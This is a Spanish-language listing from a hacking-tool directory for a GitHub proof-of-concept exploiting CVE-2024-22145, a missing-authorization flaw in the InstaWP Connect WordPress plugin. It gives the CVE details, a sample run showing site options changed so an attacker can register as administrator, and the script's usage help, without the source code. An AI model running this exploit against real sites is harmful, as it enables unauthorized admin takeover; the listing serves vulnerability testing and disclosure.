Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-22145 — InstaWP Connect <= 0.1.0.8 - Falta de autorización para actualización arbitraria de opciones (Subscriber+) | Kitploit
Herramientas/GitHubGitHub/randomrobbiebf/cve-2024-22145
Autenticación y AutorizaciónAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de Penetración
GitHubrandomrobbiebf/cve-2024-22145

CVE-2024-22145

InstaWP Connect <= 0.1.0.8 - Falta de autorización para actualización arbitraria de opciones (Subscriber+)

Ver Repositorio
4hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-22145

InstaWP Connect <= 0.1.0.8 - Autorización faltante para la actualización arbitraria de opciones (Suscriptor+)

Descripción:

El complemento InstaWP Connect – 1-click WP Staging & Migration para WordPress es vulnerable a la modificación no autorizada de datos debido a una falta de verificación de capacidad en la función save_management_settings en todas las versiones hasta la 0.1.0.8 inclusive. Esto permite que atacantes autenticados, con acceso de suscriptor y superior, modifiquen

root@kitploit:~
Gravedad: alta
ID de CVE: CVE-2024-22145
Puntaje CVSS: 8.8
Métrica CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Slug del complemento: instawp-connect
URL de WPScan: https://www.wpscan.com/plugin/instawp-connect
URL de referencia: https://www.wordfence.com/threat-intel/vulnerabilities/id/6aa4fd08-a1b1-4f61-a9d1-9812071b61c9?source=api-prod

POC

root@kitploit:~
$ python3 CVE-2024-22145.py -u http://wordpress.lan -un user -p useruser1
The plugin version is below 0.1.0.9.
The plugin version is 0.1.0.7
Vulnerability check: http://wordpress.lan
Logged in successfully.
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
You can now register a user as an admin user. Remember to run --fix yes after you have registered to prevent others exploiting the site.

Uso

root@kitploit:~
usage: CVE-2024-22145.py [-h] -u URL [-un USERNAME] [-p PASSWORD] [-f FIX]

InstaWP Connect <= 0.1.0.8 - Autorización faltante para la actualización arbitraria de opciones Descripción: El complemento InstaWP Connect – 1-click WP Staging & Migration para WordPress es vulnerable a la modificación no autorizada de datos debido a una falta de verificación de capacidad en la función save_management_settings en todas las versiones hasta la 0.1.0.8 inclusive. Esto permite que atacantes autenticados, con acceso de suscriptor y superior, modifiquen CVE-2024-22145

opciones:
  -h, --help            muestra este mensaje de ayuda y sale
  -u URL, --url URL     URL del sitio web
  -un USERNAME, --username USERNAME
                        Nombre de usuario de WordPress
  -p PASSWORD, --password PASSWORD
                        Contraseña de WordPress
  -f FIX, --fix FIX     Restablecer después del exploit
Descargar herramienta